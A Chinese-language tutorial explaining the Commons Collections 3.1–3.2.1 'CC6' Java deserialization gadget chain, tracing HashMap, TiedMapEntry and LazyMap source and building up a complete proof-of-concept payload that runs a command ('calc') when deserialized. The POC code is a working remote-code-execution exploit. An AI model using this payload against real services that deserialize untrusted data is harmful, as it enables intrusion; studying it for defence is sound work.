0x00 前言
CommonsCollections 3.1 - 3.2.1
暂无限制
0x01 利用链
可以看到,CC6链从LazyMap.get()的后半部分是跟 CC1 相同的,前面不再使用AnnotationInvocationHandler 类的readObject()作为反序列化的入口类了,从而解决了在 JDK 8u71 版本之后无法使用CC1链的问题。
CC6 的前半部分与URLDNS 链相似,都是利用HashMap 类在计算hash 值时调用hashCode()的方法,从而进入到 getValue(),在之后到达 LazyMap.get()
0x02 代码分析 TiedMapEntry 已经知道利用链了,所以可以知道在TiedMapEntry 类中的**getValue()方法调用了 get()**方法
1 2 3 public Object getValue () { return map.get(key); }
往上找,发现map 可以通过TiedMapEntry 构造器赋值
1 2 3 4 5 public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; }
而且可以看到**TiedMapEntry.hashCode()方法中调用了 getValue()**方法
1 2 3 4 5 public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
HashMap 现在就是去找哪里可以调用**TiedMapEntry.hashCode()**方法
根据利用链可以知道在HashMap.readObject()中可以调用到 TiedMapEntry.hashCode()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
在HashMap 的readObject()中调用了 hash(key)
而在hash(key)中调用了 key.hashCode()
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
可以看到当key 不为空时会调用key.hashCode()
所以我们只需让HashMap 的key 等于TiedMapEntry 对象即可
而TiedMapEntry 中map 属性存放的是恶意的LazyMap 对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "aaa" );HashMap<Object, Object> map2 = new HashMap <>(); map2.put(tiedMapEntry, "bbb" ); serialize(map2); unserialize("ser.bin" );
执行后会发现在序列化之前就会弹出计算器
原因是因为map.put 中也会调用hash(key)
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
使用 map2.put(tiedMapEntry, “bbb”) 将构造好的 TiedMapEntry 对象放进 HashMap的时候就要触发一次 **hash(key)**进而触发一次这一条链弹出计算器
所以我们可以在构造LazyMap 时先放入一个不会执行命令的对象
然后再等最后要⽣成Payload 的时候,再把真正的transformers 替换进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "aaa" );HashMap<Object, Object> map2 = new HashMap <>(); map2.put(tiedMapEntry, "bbb" ); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" );factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); serialize(map2); unserialize("ser.bin" );
也可以写成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Transformer[] fakeTransformers = new Transformer []{new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (fakeTransformers);HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "aaa" );HashMap<Object, Object> map2 = new HashMap <>(); map2.put(tiedMapEntry, "bbb" ); Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class; Field chainedTransformerClassField = chainedTransformerClass.getDeclaredField("iTransformers" );chainedTransformerClassField.setAccessible(true ); chainedTransformerClassField.set(chainedTransformer,transformers); serialize(map2); unserialize("ser.bin" );
lazyMap.Remove 当执行上面的代码时,会发现还是不能执行成功
问题出现在在LazyMap 的**get()**⽅法上
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
因为map.containsKey(key)是true,所以并没有进入 if 循环,直接return
但是会发现在lazyMap 类中也没有放入key 值为aaa 的对象
唯一出现aaa 是在tiedMapEntry 对象上
关键点还是在**map2.put(tiedMapEntry, “bbb”)**上
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
因为put 中会执行hash(key)
所以LazyMap 的利用链会在这里被调用一次
而前面使用了Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1))
所以才没有执行对应的命令
debug的时候发现只需要将key 的值删掉就会进入if 里
所以我们只需将lazyMap 的key 删掉即可
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Transformer[] fakeTransformers = new Transformer []{new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (fakeTransformers);HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "aaa" );HashMap<Object, Object> map2 = new HashMap <>(); map2.put(tiedMapEntry, "bbb" ); lazyMap.remove("aaa" ); Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class; Field chainedTransformerClassField = chainedTransformerClass.getDeclaredField("iTransformers" );chainedTransformerClassField.setAccessible(true ); chainedTransformerClassField.set(chainedTransformer,transformers); serialize(map2); unserialize("ser.bin" );
0x03 ysoserial中的CC6 利用链
0x04 总结
0x05 参考资料 P牛知识星球-Java安全漫谈
B站-白日梦组长
https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff
Y4tacker
https://github.com/Y4tacker/JavaSec